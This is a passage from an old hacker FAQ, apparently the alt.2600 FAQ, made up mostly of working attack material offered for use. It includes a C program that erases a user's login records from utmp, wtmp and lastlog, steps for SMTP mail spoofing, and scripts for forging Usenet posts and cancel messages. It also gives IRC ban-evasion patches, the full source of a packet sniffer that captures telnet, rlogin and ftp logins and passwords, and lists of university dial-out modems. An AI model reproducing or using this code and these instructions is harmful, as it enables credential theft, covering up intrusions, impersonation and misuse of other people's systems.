specifically written for this purpose.

Example:

#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}

14. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to
originate from. Enter your message as in this example:

HELO bellcore.com
MAIL FROM:voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
From: voyager@bellcore.com (The Voyager)
To: president@whitehouse.gov
Subject: Clipper
Reply-To: voyager@bellcore.com

Please discontinue your silly Clipper initiative.
.
QUIT

On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work. Test by sending yourself fakemail first.

For more information read RFC 822 "Standard for the format of ARPA
Internet text messages."

15. How do I fake posts and control messages to UseNet?

From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence))
Subject: FAQ: Better living through forgery
Date: 19 Mar 1995 02:37:09 GMT

Anonymous netnews without "anonymous" remailers

Inspired by the recent "NetNews Judges-L" events, this file has been
updated to cover forging control messages, so you can do your own
article canceling and create and destroy your own newsgroups.

Save any news article to a file. We'll call it "hak" in this example.

Edit "hak", and remove any header lines of the form

From some!random!path!user (note: "From ", not "From: " !!)
Article:
Lines:
Xref:

Shorten the Path: header down to its LAST two or three "bangized"
components. This is to make the article look like it was posted from
where it really was posted, and originally hit the net at or near the
host you send it to. Or you can construct a completely new Path: line
to reflect your assumed alias.

Make some change to the Message-ID: field, that isn't likely to be
duplicated anywhere. This is usually best done by adding a couple of
random characters to the part before the @, since news posting programs
generally use a fixed-length field to generate these IDs.

Change the other headers to say what you like -- From:, Newsgroups:,
Sender:, etc. Replace the original message text with your message. If
you are posting to a moderated group or posting a control message,
remember to put in an Approved: header to bypass the moderation
mechanism.

To specifically cancel someone else's article, you need its message-ID.
Your message headers, in addition to what's already there, should also
contain the following with that message-ID in it. This makes it a
"control message". NOTE: control messages generally require an
Approved: header as well, so you should add one.

Subject: cmsg cancel
Control: cancel
Approved: luser@twits.site.com

Newsgroups are created and destroyed with control messages, too. If
you wanted to create, for instance, comp.misc.microsoft.sucks, your
control headers would look like

Subject: cmsg newgroup comp.misc.microsoft.sucks
Control: newgroup comp.misc.microsoft.sucks

Add on the string "moderated" at the end of these if you want the group
to be "moderated with no moderator" as with alt.hackers. Somewhere in
the body of your message, you should include the following text,
changed with the description of the group you're creating:

For your newsgroups file:
comp.misc.microsoft.sucks We don't do windows

To remove a group, substitute "rmgroup" for "newgroup" in the header
lines above. Keep in mind that most sites run all "rmgroup" requests
through a human news-master, who may or may not decide to honor it.
Group creation is more likely to be automatic than deletion at most
installations. Any newsgroup changes are more likely to take effect if
the come from me, since my name is hardwired into many of the NNTP
control scripts, so using the From: and Approved: headers from this
posting is recommended.

Save your changed article, check it to make sure it contains NO
reference to yourself or your own site, and send it to your favorite
NNTP server that permits transfers via the IHAVE command, using the
following script:

=======================
#! /bin/sh
## Post an article via IHAVE.
## args: filename server

if test "$2" = "" ; then
echo usage: $0 filename server
exit 1
fi
if test ! -f $1 ; then
echo $1: not found
exit 1
fi

# suck msg-id out of headers, keep the brackets
msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
sed 's/.*-[Ii][Dd]: //'`
echo $msgid

( sleep 5
echo IHAVE $msgid
sleep 5
cat $1
sleep 1
echo "."
sleep 1
echo QUIT ) | telnet $2 119
=======================

If your article doesn't appear in a day or two, try a different server.
They are easy to find. Here's a script that will break a large file
full of saved netnews into a list of hosts to try. Edit the output of
this if you want, to remove obvious peoples' names and other trash.

=======================
#! /bin/sh
FGV='fgrep -i -v'
egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
=======================

Once you have your host list, feed it to the following script.

=======================
#! /bin/sh

while read xx ; do
if test "$xx" = "" ; then continue;
fi
echo === $xx
( echo open $xx 119
sleep 5
echo ihave IamSOk00l@podunk.edu
sleep 4
echo .
echo quit
sleep 1
echo quit
) | telnet
done
=======================

If the above script is called "findem" and you're using csh, you should do

findem < list >& outfile

so that ALL output from telnet is captured. This takes a long time,
but when it finishes, edit "outfile" and look for occurrences of "335".
These mark answers from servers that might be willing to accept an
article. This isn't a completely reliable indication, since some
servers respond with acceptance and later drop articles. Try a given
server with a slightly modified repeat of someone else's message, and
see if it eventually appears.

Sometimes the telnets get into an odd state, and freeze, particularly
when a host is refusing NNTP connections. If you manually kill these
hung telnet processes but not the main script, the script will continue
on. In other words, you may have to monitor the finding script a
little while it is running.

You will notice other servers that don't necessarily take an IHAVE, but
say "posting ok". You can probably do regular POSTS through these, but
they will add an "NNTP-Posting-Host: " header containing the machine
YOU came from and are therefore unsuitable for completely anonymous
use.

PLEASE USE THE INFORMATION IN THIS ARTICLE FOR CONSTRUCTIVE PURPOSES ONLY.

16. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on. When
that server reconnects to the net, you will have ChanOp on the real
channel. If you have ServerOp on a server, you can cause it to split
on purpose.

17. How do I modify the IRC client to hide my real username?

Note: This FAQ answer was written by someone else, but I do not know who.
If you know who originally wrote this, please e-mail me.

-- BEGIN QUOTED TEXT --

Applying these changes to the source code for your ircII client and
recompiling gives you a new ircII command: /NEWUSER. This new command
can be used as follows:

* /NEWUSER [new_IRCNAME]
* is a new username to use and is required
* [new_IRCNAME] is a new IRCNAME string to use and is optional
* This will disconnect you from your server and reconnect using
* the new information given. You will rejoin all channel you
* are currently on and keep your current nickname.

The effect is basically changing your username/IRCname on the fly.
Although you are disconnected from your server and reconnected, the
ircII client is never exited, thus keeping all your state information
and aliases intact. This is ideal for bots that wish to be REALLY
obnoxious in ban evasion. ;)

As this is now a new command in ircII, it can be used in scripts. Be
aware that the reconnect associated with the NEWUSER command takes time,
so TIMER any commands that must immediately follow the NEWUSER. For
example... ban evasion made easy (but beware infinite reconnects when
your site is banned):

on ^474 * {
echo *** Banned from channel $1
if ($N == [AnnMurray]) {
nick $randomstring
join $1
} {
nick AnnMurray
newuser $randomstring
timer 5 join $1
}
}

Or just to be annoying... a /BE alias that will assume a
person's username and IRCNAME:

alias be {
^on ^311 * {
^on 311 -*
newuser $2 $5-
}
whois $0
}

Now... in order to add this command to your ircII client, get the latest
client source (or whatever client source you are using). Cd into the
source directory and edit the file "edit.c". Make the following
changes:

Locate the line which reads:
extern void server();

Insert the following line after it:
static void newuser();

This pre-defines a new function "newuser()" that we'll add later.

Now, locate the line which reads:
"NAMES", "NAMES", funny_stuff, 0,

Insert the following line after it:
"NEWUSER", NULL, newuser, 0,

This adds a new command NEWUSER to the list of valid IRCII commands, and
tells it to call our new function newuser() to perform it.

Finally, go the bottom of the file and add the following code as our new
function "newuser()":

/*
* newuser: the /NEWUSER command. Added by Hendrix
* Parameters as follows:
* /NEWUSER [new_IRCNAME]
* is a new username to use and is required
* [new_IRCNAME] is a new IRCNAME string to use and is optional
* This will disconnect you from your server and reconnect using
* the new information given. You will rejoin all channels you
* are currently on and keep your current nickname.
*/

static void newuser(command, args)
char *command,
*args;
{
char *newuname;

if (newuname = next_arg(args, &args))
{
strmcpy(username, newuname, NAME_LEN);
if (*args)
strmcpy(realname, args, REALNAME_LEN);
say("Reconnecting to server...");
close_server(from_server);
if (connect_to_server(server_list[from_server].name,
server_list[from_server].port, primary_server) != -1)
{
change_server_channels(primary_server, from_server);
set_window_server(-1, from_server, 1);
}
else
say("Unable to reconnect. Use /SERVER to connect.");
}
else
say("You must specify a username and, optionally, an IRCNAME");
}

-- END QUOTED TEXT --

/NEWUSER will not hide you from a CTCP query. To do that, modify ctcp.c
as shown in the following diff and set an environment variable named
CTCPFINGER with the information you would like to display when queried.

*** ctcp.old
--- ctcp.c
***************
*** 334 ****
! char c;
--- 334 ---
! char c, *fing;
***************
*** 350,354 ****
! if (pwd = getpwuid(uid))
{
char *tmp;
--- 350,356 ----
! if (fing = getenv("CTCPFINGER"))
! send_ctcp_reply(from, ctcp->name, fing, diff, c);
! else if (pwd = getpwuid(uid))
{
char *tmp;

18. How to I change to directories with strange characters in them?

These directories are often used by people trying to hide information,
most often warez (commercial software).

There are several things you can do to determine what these strange
characters are. One is to use the arguments to the ls command that
cause ls to give you more information:

From the man page for ls:

-F Causes directories to be marked with a trailing ``/'',
executable files to be marked with a trailing ``*'', and
symbolic links to be marked with a trailing ``@'' symbol.

-q Forces printing of non-graphic characters in filenames as the
character ``?''.

-b Forces printing of non-graphic characters in the \ddd
notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine. Then you can do a "cat -t -v -e filename" to see exactly
what those bizarre little characters are.

From the man page for cat:

-v Causes non-printing characters (with the exception of tabs,
newlines, and form feeds) to be displayed. Control characters
are displayed as ^X (x), where X is the key pressed with
the key (for example, m is displayed as ^M). The
character (octal 0177) is printed as ^?. Non-ASCII
characters (with the high bit set) are printed as M -x, where
x is the character specified by the seven low order bits.

-t Causes tabs to be printed as ^I and form feeds as ^L. This
option is ignored if the -v option is not specified.

-e Causes a ``$'' character to be printed at the end of each line
(prior to the new-line). This option is ignored if the -v
option is not set.

If the directory name includes a or a you will need to
enclose the entire directory name in quotes. Example:

cd ".."

On an IBM-PC, you may enter these special characters by holding down
the key and entering the decimal value of the special character
on your numeric keypad. When you release the key, the special
character should appear on your screen. An ASCII chart can be very
helpful.

Sometimes people will create directories with some of the standard
stty control characters in them, such as ^Z (suspend) or ^C (intr).
To get into those directories, you will first need to user stty to
change the control character in question to another character.

From the man page for stty:

Control assignments

control-character C
Sets control-character to C, where control-character is
erase, kill, intr (interrupt), quit, eof, eol, swtch
(switch), start, stop or susp.

start and stop are available as possible control char-
acters for the control-character C assignment.

If C is preceded by a caret (^) (escaped from the
shell), then the value used is the corresponding con-
trol character (for example, ^D is a d; ^? is
interpreted as DELETE and ^- is interpreted as unde-
fined).

Use the stty -a command to see your current stty settings, and to
determine which one is causing you problems.

19. What is ethernet sniffing?

Ethernet sniffing is listening (with software) to the raw ethernet
device for packets that interest you. When your software sees a
packet that fits certain criteria, it logs it to a file. The most
common criteria for an interesting packet is one that contains words
like "login" or "password."

Many ethernet sniffers are available, here are a few that may be on
your system now:

OS Sniffer
~~ ~~~~~~~
4.3/4.4 BSD tcpdump /* Available via anonymous ftp */
FreeBSD tcpdump /* Available via anonymous ftp at */
/* gatekeeper.dec.com
/* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
NetBSD tcpdump /* Available via anonymous ftp at */
/* gatekeeper.dec.com
/* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix tcpdump /* Available via anonymous ftp */
DEC Ultrix tcpdump /* Available via anonymous ftp */
HP/UX nettl (monitor)
& netfmt (display)
nfswatch /* Available via anonymous ftp */
Linux tcpdump /* Available via anonymous ftp at */
/* sunsite.unc.edu */
/* /pub/Linux/system/Network/management/ */
SGI Irix nfswatch /* Available via anonymous ftp */
Etherman
tcpdump /* Available via anonymous ftp */
Solaris snoop
tcpdump
SunOS etherfind
nfswatch /* Available via anonymous ftp */
tcpdump /* Available via anonymous ftp */
DOS ETHLOAD /* Available via anonymous ftp as */
/* ethld104.zip */
The Gobbler /* Available via anonymous ftp */
LanPatrol
LanWatch
Netmon
Netwatch
Netzhack /* Available via anonymous ftp at */
/* mistress.informatik.unibw-muenchen.de */
/* /pub/netzhack.mac */
Macintosh Etherpeek

Here is source code for a sample ethernet sniffer:

/* Esniff.c */

#include
#include
#include

#include
#include
#include
#include
#include
#include
#include

#include
#include
#include
#include

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#include
#include

#define ERR stderr

char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;

#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096 /* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }

#define IP ((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip->ip_len))
#define IPHLEN (ip->ip_hl)
#define TCPOFF (tcph->th_off)
#define IPS (ip->ip_src)
#define IPD (ip->ip_dst)
#define TCPS (tcph->th_sport)
#define TCPD (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN (128)
time_t LastTIME = 0;

struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;

switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}

char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}

#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}

fprintf(LOG,"\n-- \n");
fflush(LOG);

if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip *ip;
register struct tcphdr *tcph;

{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

if(EtherType < 0x600) {
EtherType = *(u_short *)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}

if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
return;
}

/* ugh, gotta do an alignment :-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!( (TCPD == IPPORT_TELNET) ||
(TCPD == IPPORT_LOGINSERVER) ||
(TCPD == IPPORT_FTP)
)) return;

{ register struct CREC *CLm;
register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char *)Packet;

p += ((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}

if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

CLm->PKcnt++;

if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}

if(TCPFL(TH_FIN|TH_RST)) {
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
}

} else {

if(TCPFL(TH_SYN)) {
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}

}

IDLE_NODE();

}

}

/* signal handler
*/
void death()
{ register struct CREC *CLe;

while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}

/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;

if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
{
struct strioctl si;
struct ifreq ifr;
struct timeval timeout;
u_int chunksize = CHUNKSIZE;
u_long if_flags = NI_PROMISC;

if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");

if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");

si.ic_timout = INFTIM;

if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)𝔦
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char *)&if_flags;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}

while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);

while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;

hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your program, generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];

strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int s,
ac=1,
backg=0;

ProgName=argv[0];

/* getauth(); */

LOG=NULL;
device=NULL;
while((ac register char ch = argv[ac++][1];
switch(toupper(ch)) {
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}

if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");

ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");

close(s);
device = ifc.ifc_req->ifr_name;
}

fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

if(!LOG)
LOG=stdout;

signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);

if(backg && debug) {
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}

if(backg) {
register int s;

if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");

if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);

do_it();
}

20. What is an Internet Outdial?

An Internet outdial is a modem connected to the Internet than you can
use to dial out. Normal outdials will only call local numbers. A GOD
(Global OutDial) is capable of calling long distance. Outdials are an
inexpensive method of calling long distance BBS's.

21. What are some Internet Outdials?

This FAQ answer is excerpted from CoTNo #5:

Internet Outdial List v3.0
by Cavalier and DisordeR

Introduction
------------
There are several lists of Internet outdials floating around the net these
days. The following is a compilation of other lists, as well as v2.0 by
DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author
just ripped other people and released it, we have sat down and tested
each one of these. Some of them we have gotten "Connection Refused" or
it timed out while trying to connect...these have been labeled dead.

Working Outdials
----------------
as of 12/29/94

NPA IP Address Instructions
--- ---------- ------------
215 isn.upenn.edu modem

217 dialout.cecer.army.mil atdt x,xxxXXXXX

218 modem.d.umn.edu atdt9,xxxXXXX

303 yuma.acns.colostate.edu 3020

412 myriad.pc.cc.cmu.edu 2600 Press D at the prompt

412 gate.cis.pitt.edu tn3270,
connect dialout.pitt.edu,
atdtxxxXXXX

413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx

502 outdial.louisville.edu

502 uknet.uky.edu connect kecnet
@ dial: "outdial2400 or out"

602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy

614 ns2400.acs.ohio-state.edu

614 ns9600.acs.ohio-state.edu

713 128.249.27.153 atdt x,xxxXXXX

714 modem.nts.uci.edu atdt[area]0[phone]

804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx

804 ublan2.acc.virginia.edu connect telnet
connect hayes

Need Password
-------------

206 rexair.cac.washington.edu This is an unbroken password
303 yuma.ACNS.ColoState.EDU login: modem
404 128.140.1.239 .modem8|CR
415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
514 cartier.CC.UMontreal.CA externe,9+number
703 wal-3000.cns.vt.edu dial2400 -aa

Dead/No Connect
---------------

201 idsnet
202 modem.aidt.edu
204 dial.cc.umanitoba.ca
204 umnet.cc.manitoba.ca "dial12" or "dial24"
206 dialout24.cac.washington.edu
207 modem-o.caps.maine.edu
212 B719-7e.NYU.EDU dial3/dial12/dial24
212 B719-7f.NYU.EDU dial3/dial12/dial24
212 DIALOUT-1.NYU.EDU dial3/dial12/dial24
212 FREE-138-229.NYU.EDU dial3/dial12/dial24
212 UP19-4b.NYU.EDU dial3/dial12/dial24
215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy"
218 aa28.d.umn.edu "cli" "rlogin modem"
at "login:" type "modem"
218 modem.d.umn.edu Hayes 9,XXX-XXXX
301 dial9600.umd.edu
305 alcat.library.nova.edu
305 office.cis.ufl.edu
307 modem.uwyo.edu Hayes 0,XXX-XXXX
313 35.1.1.6 dial2400-aa or dial1200-aa
or dialout
402 dialin.creighton.edu
402 modem.criegthon.edu
404 broadband.cc.emory.edu ".modem8" or ".dialout"
408 dialout.scu.edu
408 dialout1200.scu.edu
408 dialout2400.scu.edu
408 dialout9600.scu.edu
413 dialout.smith.edu
414 modems.uwp.edu
416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx
416 pacx.utcs.utoronto.ca modem
503 dialout.uvm.edu
513 dialout24.afit.af.mil
513 r596adi1.uc.edu
514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx
517 engdial.cl.msu.edu
602 dial9600.telcom.arizona.edu
603 dialout1200.unh.edu
604 dial24-nc00.net.ubc.ca
604 dial24-nc01.net.ubc.ca
604 dial96-np65.net.ubc.ca
604 gmodem.capcollege.bc.ca
604 hmodem.capcollege.bc.ca
609 128.119.131.11X (X= 1 - 4) Hayes
609 129.119.131.11x (x = 1 to 4)
609 wright-modem-1.rutgers.edu
609 wright-modem-2.rutgers.edu
612 modem_out12e7.atk.com
612 modem_out24n8.atk.com
614 ns2400.ircc.ohio-state.edu "dial"
615 dca.utk.edu dial2400 D 99k #
615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx
616 modem.calvin.edu
617 128.52.30.3 2400baud
617 dialout.lcs.mit.edu
617 dialout1.princeton.edu
617 isdn3.Princeton.EDU
617 jadwingymkip0.Princeton.EDU
617 lord-stanley.Princeton.EDU
617 mpanus.Princeton.EDU
617 mrmodem.wellesley.edu
617 old-dialout.Princeton.EDU
